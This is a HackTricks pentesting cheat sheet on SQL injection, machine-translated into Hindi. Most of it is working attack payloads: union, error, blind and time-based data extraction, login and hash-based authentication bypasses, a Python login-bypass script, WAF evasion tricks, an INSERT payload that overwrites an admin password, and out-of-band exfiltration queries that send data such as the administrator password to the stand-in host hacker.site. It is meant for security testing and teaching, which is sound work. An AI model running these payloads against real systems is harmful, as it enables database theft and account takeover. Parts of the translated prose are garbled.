hacktricks/pentesting-web/sql-injection
2024-02-08 07:28:54 +00:00
..
mysql-injection Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 07:28:54 +00:00
postgresql-injection Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 07:28:54 +00:00
sqlmap Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 04:05:58 +00:00
cypher-injection-neo4j.md Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 07:28:54 +00:00
ms-access-sql-injection.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:49:16 +00:00
mssql-injection.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 04:05:58 +00:00
oracle-injection.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 04:05:58 +00:00
README.md Translated ['mobile-pentesting/android-app-pentesting/README.md', 'mobil 2024-02-08 07:28:54 +00:00
sqlmap.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:49:16 +00:00

SQL Injection

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान मिलने का स्थान है।

{% embed url="https://www.rootedcon.com/" %}

SQL Injection क्या है?

SQL injection एक सुरक्षा दोष है जो हमलावधारकों को एक एप्लिकेशन के डेटाबेस क्वेरी में हस्तक्षेप करने की अनुमति देता है। यह कमजोरी हमलावधारकों को अनुमति देती है कि वे उन डेटा को देखें, संशोधित करें, या हटाएं जिनका उन्हें पहुंचना नहीं चाहिए, जिसमें अन्य उपयोगकर्ताओं की जानकारी या ऐसे किसी भी डेटा शामिल हो सकता है जिसका एप्लिकेशन पहुंच सकता है। ऐसे कार्रवाई एप्लिकेशन के कार्यान्वयन या सामग्री में स्थायी परिवर्तन या सर्वर का कंप्रमाइज़ या सेवा की नापसंदी का परिणाम हो सकता है।

प्रवेश बिंदु का पता लगाना

जब एक साइट SQL injection (SQLi) के लिए वंशावली दिखाई देती है क्योंकि असामान्य सर्वर प्रतिक्रियाएँ SQLi संबंधित इनपुट्स के लिए, पहला कदम यह है कि यह समझना है कि बिना इसे बाधित किए डेटा को क्वेरी में इंजेक्शन कैसे करें। इसके लिए मौजूदा संदर्भ से निकलने की विधि को पहचानना आवश्यक है। ये कुछ उपयोगी उदाहरण हैं:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

तो, आपको यह जानना चाहिए कि क्वेरी में त्रुटियाँ कैसे ठीक की जाएं। क्वेरी को ठीक करने के लिए आप इनपुट डेटा दे सकते हैं ताकि पिछली क्वेरी नए डेटा को स्वीकार करे, या फिर आप अपने डेटा को इनपुट कर सकते हैं और एक कमेंट सिम्बल को अंत में जोड़ सकते हैं

ध्यान दें कि अगर आप त्रुटि संदेश देख सकते हैं या आप यह देख सकते हैं कि किसी क्वेरी काम कर रही है और कब नहीं, तो यह चरण आसान हो जाएगा।

टिप्पणियाँ

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

तार्किक परिचय करना

एक SQL इन्जेक्शन संदेह की पुष्टि करने का एक विश्वसनीय तरीका तार्किक कार्य को निष्पादित करना है और अपेक्षित परिणामों का अवलोकन करना। उदाहरण के लिए, एक GET पैरामीटर जैसे ?username=Peter जब ?username=Peter' या '1'='1 में संशोधित किया जाता है और वास्तविक सामग्री उत्पन्न होती है, तो यह एक SQL इन्जेक्शन संदेह को दर्शाता है।

इसी तरह, गणितीय कार्यों का अनुप्रयोग एक प्रभावी पुष्टि तकनीक के रूप में काम करता है। उदाहरण के लिए, यदि ?id=1 और ?id=2-1 तक पहुँचने पर समान परिणाम प्रकट होता है, तो यह SQL इन्जेक्शन का संकेत है।

तार्किक कार्य पुष्टि करने के उदाहरण:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

यह शब्द-सूची बनाई गई थी ताकि प्रस्तावित तरीके से SQL इन्जेक्शन की पुष्टि की जा सके:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

समय की पुष्टि करना

कुछ मामलों में आपको यह कोई भी परिवर्तन नहीं दिखाई देगी जिसे आप जांच कर रहे हैं। इसलिए, ब्लाइंड SQL इन्जेक्शन का पता लगाने का एक अच्छा तरीका है कि डेटाबेस को कार्रवाई करने के लिए बनाएं और यह एक समय पर प्रभाव डालेगा जिसे पृष्ठ को लोड करने में लगने की आवश्यकता होगी।
इसलिए, हम SQL क्वेरी में एक ऑपरेशन को जोड़ने जा रहे हैं जो पूरा करने में बहुत समय लेगा:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

कई मामलों में नींद फ़ंक्शनों की अनुमति नहीं होगी। तब, इन फ़ंक्शनों का उपयोग करने की बजाय आप क्वेरी को जटिल कार्य करने के लिए कर सकते हैं जो कई सेकंड लेगा। इन तकनीकों के उदाहरणों को प्रत्येक प्रौद्योगिकी पर अलग-अलग टिप्पणी किया जाएगा।

पीछे-एंड की पहचान

पीछे-एंड की पहचान करने का सबसे अच्छा तरीका विभिन्न पीछे-एंड के फ़ंक्शनों को क्रियान्वित करने की कोशिश करना है। आप पिछले खंड के नींद फ़ंक्शन या इन्हें उपयोग कर सकते हैं (टेबल payloadsallthethings से):

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

यदि आपके पास क्वेरी के आउटपुट तक पहुंच है, तो आप इसे डेटाबेस का संस्करण प्रिंट करने के लिए बना सकते हैं।

{% hint style="info" %} एक आगे हम विभिन्न प्रकार की SQL Injection का उपयोग करने के विभिन्न तरीके पर चर्चा करेंगे। हम MySQL का उदाहरण लेंगे। {% endhint %}

पोर्टस्विगर के साथ पहचान

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Union Based का शोधन

स्तंभों की संख्या का पता लगाना

यदि आप क्वेरी के आउटपुट देख सकते हैं तो इसे इसका श्रेष्ठ तरीका उसका शोधन करने के लिए है।
सबसे पहले, हमें यह जानने की आवश्यकता है कि प्रारंभिक अनुरोध कितने स्तंभ लौटा रहा है। यह इसलिए है क्योंकि दोनों क्वेरी को एक ही संख्या के स्तंभ लौटने चाहिए
इस उद्देश्य के लिए दो विधियाँ सामान्यत: उपयोग की जाती हैं:

क्रम/समूह द्वारा

क्वेरी में स्तंभों की संख्या निर्धारित करने के लिए, ORDER BY या GROUP BY शर्तों में उपयोग किए गए संख्या को धारात्मक रूप से समायोजित करें जब तक एक गलत प्रतिक्रिया प्राप्त न हो जाए। SQL के भीतर GROUP BY और ORDER BY की विशिष्ट कार्यक्षमताओं के बावजूद, दोनों क्वेरी के स्तंभों की गणना के लिए एक ही रूप से प्रयोग किया जा सकता है।

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

चुनें और और अधिक null मानों को जब तक क्वेरी सही न हो जाए:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

आपको कुछ मामलों में null मान का उपयोग करना चाहिए क्योंकि कुछ मामलों में क्वेरी के दोनों ओर के स्तंभों के प्रकार समान होना चाहिए और हर मामले में null मान मान्य है।

डेटाबेस के नाम, डेटाबेस की तालिका का नाम और कॉलम का नाम निकालें

अगले उदाहरणों में हम सभी डेटाबेस का नाम, डेटाबेस की तालिका का नाम, तालिका के कॉलम का नाम प्राप्त करने जा रहे हैं:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

हर विभिन्न डेटाबेस पर इस डेटा को खोजने के लिए एक विभिन्न तरीका है, लेकिन यह हमेशा एक ही मेथडोलॉजी होती है।

छिपी यूनियन आधारित शोध

जब किसी क्वेरी का आउटपुट दिखाई देता है, लेकिन यूनियन आधारित इन्जेक्शन संभावित नहीं लगता है, तो इसका मतलब है कि एक छिपी यूनियन आधारित इन्जेक्शन मौजूद है। यह परिदृश्य अक्सर एक अंधा इन्जेक्शन स्थिति की ओर ले जाता है। एक अंधा इन्जेक्शन को यूनियन आधारित में बदलने के लिए, बैकएंड पर निष्क्रिय क्वेरी को समझना आवश्यक है।

इसे आपके लक्षित डेटाबेस प्रबंधन सिस्टम (DBMS) के डिफ़ॉल्ट तालिकाओं के साथ अंधा इन्जेक्शन तकनीकों का उपयोग करके प्राप्त किया जा सकता है। इन डिफ़ॉल्ट तालिकाओं को समझने के लिए, लक्षित DBMS के दस्तावेज़ की परामर्श करना उपयुक्त है।

एक बार क्वेरी निकाल ली गई है, मूल क्वेरी को सुरक्षित रूप से बंद करने के लिए अपने पेलोड को अनुकूलित करना आवश्यक है। इसके बाद, अपने पेलोड में एक यूनियन क्वेरी जोड़ी जाती है, जिससे नए उपलब्ध यूनियन आधारित इन्जेक्शन का शोधन सुविधा प्राप्त होती है।

अधिक व्यापक जानकारी के लिए, Healing Blind Injections पर उपलब्ध पूरे लेख का संदर्भ देखें।

त्रुटि आधारित शोध

यदि किसी कारणवश आप क्वेरी का आउटपुट नहीं देख सकते हैं, लेकिन आप त्रुटि संदेश देख सकते हैं, तो आप इस त्रुटि संदेश का उपयोग करके डेटाबेस से डेटा को बाहर निकाल सकते हैं।
यूनियन आधारित शोधन में एक ही फ्लो का पालन करते हुए आप डीबी डंप कर सकते हैं।

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

ब्लाइंड SQLi का शोषण

इस मामले में आप क्वेरी या त्रुटियों के परिणाम नहीं देख सकते हैं, लेकिन आप यह पहचान सकते हैं कि क्वेरी एक सच्चा या एक गलत प्रतिक्रिया वापस करती है क्योंकि पृष्ठ पर विभिन्न सामग्री है।
इस मामले में, आप उस व्यवहार का दुरुपयोग कर सकते हैं ताकि डेटाबेस को एक चरित्र से दंप कर सकें:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

त्रुटि अंधा SQLi का शोषण

यह पहले जैसा मामला है लेकिन प्रश्न से सही/गलत प्रतिक्रिया के बीच भिन्न करने की बजाय आप SQL प्रश्न में त्रुटि को पहचान सकते हैं या नहीं (शायद क्योंकि HTTP सर्वर क्रैश हो जाता है)। इसलिए, इस मामले में आप प्रत्येक बार जब आप सही ढंग से अक्षर का अनुमान लगाते हैं, तो एक SQL त्रुटि को मजबूर कर सकते हैं:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Time Based SQLi का शोषण

इस मामले में किसी भी तरह से क्वेरी के प्रतिक्रिया को पृष्ठ के संदर्भ पर भिन्न करने का कोई तरीका नहीं है। लेकिन, यदि अनुमानित वर्ण सही है तो पृष्ठ को लोड करने में अधिक समय लगा सकते हैं। हम पहले ही इस तकनीक का उपयोग करते हुए देख चुके हैं ताकि एक SQLi vuln की पुष्टि की जा सके

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

आप स्टैक्ड क्वेरीज का उपयोग करके एकाधिक क्वेरीज को लगातार क्रियान्वित कर सकते हैं। ध्यान दें कि जब भीतरी क्वेरीज क्रियान्वित होती हैं, परिणाम एप्लिकेशन को वापस नहीं भेजे जाते। इसलिए यह तकनीक मुख्य रूप से अंधे सुरक्षा दोषों के संबंध में उपयोगी है जहाँ आप एक दूसरी क्वेरी का उपयोग करके DNS लुकअप, शर्तमुक्त त्रुटि, या समय देरी को ट्रिगर कर सकते हैं।

Oracle स्टैक्ड क्वेरीज का समर्थन नहीं करता है। MySQL, Microsoft और PostgreSQL इन्हें समर्थन करते हैं: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

अगर कोई अन्य उत्पीड़न विधि काम नहीं करती है, तो आप डेटाबेस से जानकारी को आपके द्वारा नियंत्रित बाह्य होस्ट पर निकालने का प्रयास कर सकते हैं। उदाहरण के लिए, DNS क्वेरीज के माध्यम से:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

एक्सएक्सई के माध्यम से आउट ऑफ बैंड डेटा एक्सफिल्ट्रेशन

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

स्वचालित शोधन

sqlmap के साथ एक SQLi सुरक्षा दोष का शोधन करने के लिए SQLMap Cheetsheat की जाँच करें।

तकनीक विशिष्ट जानकारी

हमने पहले ही एक SQL Injection सुरक्षा दोष को शोधन करने के सभी तरीके चर्चा की है। इस पुस्तक में डेटाबेस प्रौद्योगिकी पर निर्भर कुछ और ट्रिक्स खोजें:

या आपको MySQL, PostgreSQL, Oracle, MSSQL, SQLite और HQL के संबंध में बहुत सारी ट्रिक्स मिलेंगी https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह सम्मेलन प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए हर शाखा में प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उत्तेजक मिलन स्थल है।

{% embed url="https://www.rootedcon.com/" %}

प्रमाणीकरण बायपास

लॉगिन कार्यक्षमता को बायपास करने की कोशिश करने के लिए सूची:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

रॉ हैश प्रमाणीकरण बायपास

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

यह क्वेरी एक कमजोरी को प्रदर्शित करती है जब MD5 का उपयोग सत्य के साथ किया जाता है जो असली आउटपुट के लिए प्रमाणीकरण चेक में, सिस्टम को SQL इन्जेक्शन के लिए संवेदनशील बनाता है। हमलावर इसे इस तरह से शातिर बना सकते हैं कि, जब हैश किया जाता है, तो अप्रत्याशित SQL कमांड भाग उत्पन्न करते हैं, जिससे अनधिकृत पहुंच होती है।

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

इंजेक्टेड हैश प्रमाणीकरण बायपास

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

सुझाई गई सूची:

आपको प्रत्येक पंक्ति का उपयोग उपयोगकर्ता नामके रूप में करना चाहिए और हमेशा पासवर्ड के रूप में: Pass1234.
(ये payloads इस खंड की शुरुआत में उल्लिखित बड़ी सूची में भी शामिल हैं)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK प्रमाणीकरण बायपास

यदि ' को बचाया जा रहा है तो आप %A8%27 का उपयोग कर सकते हैं, और जब ' को बचाया जाता है तो यह बनाया जाएगा: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python स्क्रिप्ट:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

पॉलीग्लॉट इन्जेक्शन (मल्टीकॉन्टेक्स्ट)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

इन्सर्ट स्टेटमेंट

मौजूदा ऑब्ज

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE क्लॉज MySQL में उपयोग किया जाता है ताकि डेटाबेस को बताया जा सके कि जब कोशिश की जाती है कि एक पंक्ति डाली जाए जो एक अद्वितीय सूचकांक या प्राथमिक कुंजी में एक डुप्लिकेट मान का परिणाम देगी, तो डेटाबेस को क्या कार्रवाई करनी चाहिए। निम्नलिखित उदाहरण दिखाता है कि यह सुविधा कैसे उपयोग की जा सकती है ताकि एक प्रशासक खाते का पासवर्ड संशोधित किया जा सके:

उदाहरण पेलोड इन्जेक्शन:

एक इन्जेक्शन पेलोड निम्नलिखित रूप में तैयार किया जा सकता है, जहां दो पंक्तियाँ users तालिका में डालने की कोशिश की जाती है। पहली पंक्ति एक छलका है, और दूसरी पंक्ति मौजूदा प्रशासक के ईमेल को लक्ष्य बनाकर पासवर्ड अपडेट करने की इच्छा रखती है:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

यह कैसे काम करता है:

  • क्वेरी दो पंक्तियाँ डालने का प्रयास करती है: generic_user@example.com के लिए एक और admin_generic@example.com के लिए एक।
  • अगर admin_generic@example.com के लिए पंक्ति पहले से मौजूद है, तो ON DUPLICATE KEY UPDATE क्लॉज़ ट्रिगर होता है, जिससे MySQL को मौजूदा पंक्ति के password फ़ील्ड को "bcrypt_hash_of_newpassword" में अपडेट करने के लिए निर्देशित किया जाता है।
  • इसके फलस्वरूप, प्रमाणीकरण फिर admin_generic@example.com का प्रयास किया जा सकता है जिसमें "bcrypt_hash_of_newpassword" के लिए उस नए पासवर्ड के bcrypt हैश का उपयोग किया जाता है (जो वास्तविक चाहिए वाले पासवर्ड के हैश से बदल देना चाहिए)।

जानकारी निकालें

एक साथ 2 खाते बनाना

नए उपयोगकर्ता और उपयोगकर्ता नाम, पासवर्ड और ईमेल बनाने की कोशिश करते समय:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

दशमलव या षोड़शांक का उपयोग

इस तकनीक के साथ आप केवल 1 खाता बनाते हुए जानकारी निकाल सकते हैं। यह महत्वपूर्ण है कि आपको कुछ भी टिप्पणी करने की आवश्यकता नहीं है।

hex2dec और substr का उपयोग करें:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

टेक्निकल टेक्स्ट प्राप्त करने के लिए आप निम्नलिखित का उपयोग कर सकते हैं:

__import__('binascii').unhexlify(hex(215573607263)[2:])

हेक्स और रिप्लेस (और सबस्ट्र का उपयोग करके):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफानता सम्मेलन स्थल है।

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

रूटेड SQL इंजेक्शन एक स्थिति है जहाँ इंजेक्टेबल क्वेरी वह नहीं है जो आउटपुट देती है बल्कि इंजेक्टेबल क्वेरी का आउटपुट वह क्वेरी है जो आउटपुट देती है। (पेपर से)

उदाहरण:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF बायपास

यहाँ से प्रारंभिक बायपास

कोई अंतरिक्ष बायपास

कोई अंतरिक्ष (%20) - व्हाइटस्पेस विकल्प का उपयोग करके बायपास करें

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - टिप्पणियों का उपयोग करके बायपास करें

In some cases, you may encounter filters that block whitespace characters. In such situations, you can bypass the filter by using comments to separate SQL keywords. For example, you can convert a query like SELECT * FROM users WHERE username='admin' AND password='password' into SELECT/**/*/**/FROM/**/users/**/WHERE/**/username='admin'/**/AND/**/password='password'. This technique allows you to evade detection by filters that specifically target whitespace characters.

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - पैरेंथेसिस का उपयोग करके बायपास करें

In some cases, spaces are not allowed in the input fields. In such situations, you can bypass the restriction by using parenthesis to separate the SQL keywords. For example, instead of UNION SELECT, you can use UNION(SELECT)SELECT. This technique can help you perform SQL injection even when whitespace is restricted.

?id=(1)and(1)=(1)--

कोई विराम नहीं - OFFSET, FROM और JOIN का उपयोग करके बायपास करें

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

सामान्य बायपास

कीवर्ड का उपयोग करके ब्लैकलिस्ट - अपरकेस/लोअरकेस का उपयोग करके बायपास करें

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

कीवर्ड का उपयोग करके काल सूची - एक समकक्ष ऑपरेटर का उपयोग करके उसे अनदर करें

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

वैज्ञानिक नोटेशन WAF बायपास

आप इस तरीके के अधिक विस्तृत व्याख्यान को gosecure ब्लॉग में पा सकते हैं।
मूल रूप से, आप WAF को इसे बायपास करने के लिए अप्रत्याशित तरीकों में वैज्ञानिक नोटेशन का उपयोग कर सकते हैं:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

कॉलम नामों की प्रतिबंधन को उलट दें

सबसे पहले, ध्यान दें कि यदि मूल क्वेरी और तालिका जहां से आप झंडा निकालना चाहते हैं, उनके पास एक ही संख्या के कॉलम हैं तो आप बस यह कर सकते हैं: 0 UNION SELECT * FROM flag

यह संभव है कि आप किसी तालिका के तीसरे कॉलम तक पहुंचें बिना उसके नाम का उपयोग किए एक क्वेरी का उपयोग करके जैसे: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, इसलिए एक एसक्यूएल इन्जेक्शन में यह ऐसा दिखेगा:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

या कॉमा बाइपास का उपयोग करें:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

यह ट्रिक https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/ से ली गई थी।

WAF बाईपास सुझाव उपकरण

{% embed url="https://github.com/m4ll0k/Atlas" %}

अन्य मार्गदर्शिकाएं

ब्रूट-फोर्स पहचान सूची

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON स्पेन में सबसे महत्वपूर्ण साइबर सुरक्षा घटना है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस प्रौद्योगिकी और साइबर सुरक्षा विशेषज्ञों के लिए एक उफान मिलने का समारोह है।

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥